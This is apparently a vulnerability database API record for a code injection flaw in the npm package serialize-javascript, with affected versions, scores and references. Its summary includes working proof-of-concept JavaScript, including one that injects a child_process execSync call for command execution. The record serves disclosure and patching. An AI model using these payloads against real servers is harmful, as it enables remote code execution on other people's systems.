Vulnerability Instance
Lookup for vulnerabilities affecting packages.
GET /api/vulnerabilities/22287?format=api
{ "url": "http://public2.vulnerablecode.io/api/vulnerabilities/22287?format=api", "vulnerability_id": "VCID-4zkq-sw4a-e7c3", "summary": "Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()\n### Impact\n\nThe serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.\n\nWhile `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.\n\nIf an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.\n\n```javascript\nconst serialize = require('serialize-javascript');\n// Create an object that passes instanceof RegExp with a spoofed .flags\nconst fakeRegex = Object.create(RegExp.prototype);\nObject.defineProperty(fakeRegex, 'source', { get: () => 'x' });\nObject.defineProperty(fakeRegex, 'flags', {\n get: () => '\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"'\n});\nfakeRegex.toJSON = function() { return '@placeholder'; };\nconst output = serialize({ re: fakeRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"\")}\nlet obj;\neval('obj = ' + output);\nconsole.log(global.PWNED); // \"CODE_INJECTION_VIA_FLAGS\" — injected code executed!\n#h2. PoC 2: Code Injection via Date.toISOString()\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst fakeDate = Object.create(Date.prototype);\nfakeDate.toISOString = function() { return '\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"'; };\nfakeDate.toJSON = function() { return '2024-01-01'; };\nconst output = serialize({ d: fakeDate });\n// Output: {\"d\":new Date(\"\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"\")}\neval('obj = ' + output);\nconsole.log(global.DATE_PWNED); // \"DATE_INJECTION\" — injected code executed!\n#h2. PoC 3: Remote Code Execution\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst rceRegex = Object.create(RegExp.prototype);\nObject.defineProperty(rceRegex, 'source', { get: () => 'x' });\nObject.defineProperty(rceRegex, 'flags', {\n get: () => '\"+require(\"child_process\").execSync(\"id\").toString()+\"'\n});\nrceRegex.toJSON = function() { return '@rce'; };\nconst output = serialize({ re: rceRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+require(\"child_process\").execSync(\"id\").toString()+\"\")}\n// When eval'd on a Node.js server, executes the \"id\" system command\n```\n\n### Patches\n\nThe fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3", "aliases": [ { "alias": "GHSA-5c6j-r48x-rmvq" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/64878?format=api", "purl": "pkg:npm/serialize-javascript@7.0.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.3" } ], "affected_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/197697?format=api", "purl": "pkg:npm/serialize-javascript@1.0.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.0.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/197698?format=api", "purl": "pkg:npm/serialize-javascript@1.1.2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.1.2" }, { "url": "http://public2.vulnerablecode.io/api/packages/197699?format=api", "purl": "pkg:npm/serialize-javascript@1.2.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.2.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/197700?format=api", "purl": "pkg:npm/serialize-javascript@1.3.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.3.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/197701?format=api", "purl": "pkg:npm/serialize-javascript@1.4.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.4.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/197702?format=api", "purl": "pkg:npm/serialize-javascript@1.5.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.5.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/197703?format=api", "purl": "pkg:npm/serialize-javascript@1.6.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.6.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/197704?format=api", "purl": "pkg:npm/serialize-javascript@1.6.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.6.1" }, { "url": "http://public2.vulnerablecode.io/api/packages/197705?format=api", "purl": "pkg:npm/serialize-javascript@1.7.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.7.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/197706?format=api", "purl": "pkg:npm/serialize-javascript@1.8.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.8.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/197707?format=api", "purl": "pkg:npm/serialize-javascript@1.9.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.9.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/197708?format=api", "purl": "pkg:npm/serialize-javascript@1.9.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@1.9.1" }, { "url": "http://public2.vulnerablecode.io/api/packages/197709?format=api", "purl": "pkg:npm/serialize-javascript@2.0.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.0.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/197710?format=api", "purl": "pkg:npm/serialize-javascript@2.1.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-3cbb-ghjz-fyhn" }, { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.1.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/78824?format=api", "purl": "pkg:npm/serialize-javascript@2.1.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.1.1" }, { "url": "http://public2.vulnerablecode.io/api/packages/207051?format=api", "purl": "pkg:npm/serialize-javascript@2.1.2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@2.1.2" }, { "url": "http://public2.vulnerablecode.io/api/packages/207052?format=api", "purl": "pkg:npm/serialize-javascript@3.0.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-k6ny-gfg9-8ugd" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@3.0.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/73177?format=api", "purl": "pkg:npm/serialize-javascript@3.1.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@3.1.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/920058?format=api", "purl": "pkg:npm/serialize-javascript@4.0.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@4.0.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/920059?format=api", "purl": "pkg:npm/serialize-javascript@5.0.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@5.0.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/920060?format=api", "purl": "pkg:npm/serialize-javascript@5.0.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@5.0.1" }, { "url": "http://public2.vulnerablecode.io/api/packages/570069?format=api", "purl": "pkg:npm/serialize-javascript@6.0.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-h8nr-tcb7-93em" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@6.0.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/747240?format=api", "purl": "pkg:npm/serialize-javascript@6.0.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-h8nr-tcb7-93em" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@6.0.1" }, { "url": "http://public2.vulnerablecode.io/api/packages/69521?format=api", "purl": "pkg:npm/serialize-javascript@6.0.2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@6.0.2" }, { "url": "http://public2.vulnerablecode.io/api/packages/920061?format=api", "purl": "pkg:npm/serialize-javascript@7.0.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.0" }, { "url": "http://public2.vulnerablecode.io/api/packages/920062?format=api", "purl": "pkg:npm/serialize-javascript@7.0.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.1" }, { "url": "http://public2.vulnerablecode.io/api/packages/147413?format=api", "purl": "pkg:npm/serialize-javascript@7.0.2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4zkq-sw4a-e7c3" }, { "vulnerability": "VCID-vn8z-q24d-57bu" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/serialize-javascript@7.0.2" } ], "references": [ { "reference_url": "https://github.com/advisories/GHSA-hxcc-f52p-wc94", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-hxcc-f52p-wc94" }, { "reference_url": "https://github.com/yahoo/serialize-javascript", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/yahoo/serialize-javascript" }, { "reference_url": "https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9" }, { "reference_url": "https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3" }, { "reference_url": "https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7660", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7660" }, { "reference_url": "https://github.com/advisories/GHSA-5c6j-r48x-rmvq", "reference_id": "GHSA-5c6j-r48x-rmvq", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-5c6j-r48x-rmvq" } ], "weaknesses": [ { "cwe_id": 96, "name": "Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')", "description": "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template." }, { "cwe_id": 937, "name": "OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities", "description": "Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013." }, { "cwe_id": 1035, "name": "OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities", "description": "Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017." } ], "exploits": [], "severity_range_score": "7.0 - 8.9", "exploitability": "0.5", "weighted_severity": "8.0", "risk_score": 4.0, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-4zkq-sw4a-e7c3" }